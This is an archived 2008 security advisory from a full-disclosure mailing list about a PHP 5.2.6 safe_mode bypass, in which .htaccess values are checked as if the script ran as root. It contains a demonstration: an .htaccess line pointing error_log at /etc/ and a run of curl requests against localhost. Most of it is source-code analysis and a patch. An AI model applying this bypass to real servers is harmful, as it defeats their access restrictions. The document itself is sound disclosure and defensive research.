-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [ SecurityReason.com : PHP 5.2.6 SAPI php_getuid() overload ] Author: Maksymilian Arciemowicz securityreason.com Date: - - Written: 20.11.2008 - - Public: 05.12.2008 SecurityReason Research SecurityAlert Id: 59 SecurityRisk: High Affected Software: PHP 5.2.6 Advisory URL: http://securityreason.com/achievement_securityalert/59 Vendor: http://www.php.net - --- 0.Description --- PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. http://pl.php.net/manual/pl/refs.utilspec.server.php - --- 1.PHP 5.2.6 SAPI php_getuid() overload --- Using PHP 5.2.6, as a Apache module can bypass many security points. To understand this issue, first we need know, where is the problem. 127# cd /www/trafka 127# ls -la total 12 drwxr-xr-x 2 www www 512 Sep 10 03:49 . drwxr-xr-x 4 www www 512 Sep 10 03:41 .. - -rw-r--r-- 1 www www 26 Sep 10 03:49 .htaccess - -rw-r--r-- 1 www www 33 Sep 10 03:49 not.php - -rw-r--r-- 1 www www 107 Sep 10 03:49 pufff.php - -rw-r--r-- 1 www www 27 Sep 10 03:49 sleep.php 127# cat .htaccess php_value error_log /etc/ 127# cat not.php 127# cat pufff.php 127# cat sleep.php 127# apachectl restart /usr/local/sbin/apachectl restart: httpd restarted 127# curl http://localhost/trafka/pufff.php safe_mode=1 error_log=/etc/ 127# curl http://localhost/trafka/not.php only echo 127# curl http://localhost/trafka/not.php only echo 127# curl http://localhost/trafka/not.php only echo 127# curl http://localhost/trafka/not.php only echo 127# curl http://localhost/trafka/not.php only echo 127# curl http://localhost/trafka/pufff.php safe_mode=1 error_log= 127# Now error_log is empty Example exploit: 127# curl http://localhost/trafka/pufff.php safe_mode=1 error_log= 127# curl http://localhost/trafka/sleep.php ^C 127# curl http://localhost/trafka/sleep.php ^C 127# curl http://localhost/trafka/sleep.php ^C 127# curl http://localhost/trafka/sleep.php ^C 127# curl http://localhost/trafka/sleep.php ^C 127# curl http://localhost/trafka/pufff.php safe_mode=1 error_log=/etc/ any new "apache child" process, allow overload environment like error_log. 127# apachectl restart /usr/local/sbin/apachectl restart: httpd restarted 127# ps -aux -U www USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND www 6361 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd www 6362 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd www 6363 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd www 6364 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd www 6365 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd 127# curl http://localhost/trafka/pufff.php safe_mode=1 error_log=/etc/ 127# ps -aux -U www USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND www 6361 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd www 6362 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd www 6363 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd www 6364 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd www 6365 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd 127# curl http://localhost/trafka/pufff.php safe_mode=1 error_log=/etc/ 127# curl http://localhost/trafka/pufff.php safe_mode=1 error_log=/etc/ 127# curl http://localhost/trafka/pufff.php safe_mode=1 error_log=/etc/ 127# curl http://localhost/trafka/pufff.php safe_mode=1 error_log=/etc/ 127# curl http://localhost/trafka/pufff.php safe_mode=1 error_log= 127# curl http://localhost/trafka/pufff.php safe_mode=1 error_log= 127# ps -aux -U www USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND www 6361 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd www 6362 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd www 6363 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd www 6364 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd www 6365 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd 127#So what is wrong? Let's try to understand this problem. Let's start with a difference www 6361 0.0 0.5 18676 14248 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd and www 6361 0.0 0.5 18676 14288 ?? S 4:01AM 0:00.00 /usr/local/sbin/httpd RSS: 14288-14248 = 40 memory leak? No. In first request, we have declared error_log, via .htaccess. - --- main/main.c --- ... STD_PHP_INI_ENTRY("error_log", NULL, PHP_INI_ALL, OnUpdateErrorLog, error_log, php_core_globals, core_globals) ... - --- main/main.c --- goto OnUpdateErrorLog - --- main/main.c --- ... static PHP_INI_MH(OnUpdateErrorLog) { /* Only do the safemode/open_basedir check at runtime */ if ((stage == PHP_INI_STAGE_RUNTIME || stage == PHP_INI_STAGE_HTACCESS) && strcmp(new_value, "syslog")) { if (PG(safe_mode) && (!php_checkuid(new_value, NULL, CHECKUID_CHECK_FILE_AND_DIR))) { return FAILURE; } if (PG(open_basedir) && php_check_open_basedir(new_value TSRMLS_CC)) { return FAILURE; } } OnUpdateString(entry, new_value, new_value_length, mh_arg1, mh_arg2, mh_arg3, stage TSRMLS_CC); return SUCCESS; } ... - --- main/main.c --- (!php_checkuid(new_value, NULL, CHECKUID_CHECK_FILE_AND_DIR)) <==> False deeper into safe_mode.c, function php_checkuid() - --- main/safe_mode.c --- ... uid = sb.st_uid; gid = sb.st_gid; if (uid == php_getuid()) { return 1; ... duid = sb.st_uid; dgid = sb.st_gid; if (duid == php_getuid()) { ... - --- main/safe_mode.c --- php_getuid() does not return the correct value at the time of checking safe_mode for "/etc/" First request uid = php_getuid() <==> True 0 <=> uid <=> php_getuid() <==> True Next request: uid = php_getuid() <==> False 0 <=> 80 <==> False because 80 (www uid) = php_getuid() 0 = uid (/etc/ owned by root) - --- ext/standard/pageinfo.h --- ... extern long php_getuid(void); ... - --- ext/standard/pageinfo.h --- - --- ext/standard/pageinfo.c --- ... long php_getuid(void) { TSRMLS_FETCH(); php_statpage(TSRMLS_C); return (BG(page_uid)); } ... - --- ext/standard/pageinfo.c --- - --- ext/standard/pageinfo.c --- ... pstat = sapi_get_stat(TSRMLS_C); if (BG(page_uid)==-1 || BG(page_gid)==-1) { if(pstat) { BG(page_uid) = pstat->st_uid; ... - --- ext/standard/pageinfo.c --- php_getuid() will return corrected value, after first request. Let's see to SAPI.c - --- SAPI.c --- ... SAPI_API struct stat *sapi_get_stat(TSRMLS_D) { if (sapi_module.get_stat) { return sapi_module.get_stat(TSRMLS_C); ... - --- SAPI.c --- for apache 1.3.41, mod_php5.c - --- mod_php5.c --- ... /* {{{ php_apache_get_stat */ static struct stat *php_apache_get_stat(TSRMLS_D) { return &((request_rec *) SG(server_context))->finfo; } ... - --- mod_php5.c --- SG(server_context) <=> 0x0 that same situation in sapi_apache2.c for Apache2 Where is problem? In: if (BG(page_uid)==-1 || BG(page_gid)==-1) For varibles in .htaccess, BG(page_uid) isn't set. (BG(page_uid)==-1 || BG(page_gid)==-1) <==> False => ( BG(page_uid) <=> 0 <=> BG(page_gid) ) <==> True uid(0) <=> root for the values of the .htaccess This analysis was for variable error_log. We can not determine all the possible use of this error. There are other potential uses this issue. SecurityReason is not going to release a official exploit to the general public. - --- 2. How to fix (proof) --- 5.2.7 proof: 0 Step. Add, into main/main.c - -- static PHP_INI_MH(OnUpdateErrorLog) { /* Only do the safemode/open_basedir check at runtime */ + BG(page_uid)=-2; // -2 isnt registred + BG(page_gid)=-2; // -2 isnt registred - -- 1 Step. Add, into pageinfo.c, end of the main loop in php_statpage() - --- - - } + } else if (BG(page_uid)==-2 || BG(page_gid)==-2) { + BG(page_uid) = getuid(); + BG(page_gid) = getgid(); + } - --- It is fix ONLY for error_log in .htaccess. Official fix http://cvs.php.net/viewvc.cgi/php-src/sapi/apache/mod_php5.c?r1=1.19.2.7.2.15&r2=1.19.2.7.2.16&diff_format=u http://cvs.php.net/viewvc.cgi/php-src/ext/standard/basic_functions.c?r1=1.725.2.31.2.78&r2=1.725.2.31.2.79&diff_format=u http://cvs.php.net/viewvc.cgi/php-src/NEWS?r1=1.2027.2.547.2.1340&r2=1.2027.2.547.2.1341&diff_format=u - --- 3. Greets --- Stanislav Malyshev sp3x Chujwamwdupe p_e_a schain pi3 Infospec - --- 4. Contact --- Author: SecurityReason [ Maksymilian Arciemowicz ] Email: cxib [at] securityreason [dot] com GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg http://securityreason.com http://securityreason.pl -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (OpenBSD) iEYEARECAAYFAkk5OIQACgkQpiCeOKaYa9a95wCgiTT2Fl6SNQbFDnHWyQTtlkG8 g0gAoJzijUB94mtnCGlK/7/cFDw9R2gD =Q0rV -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/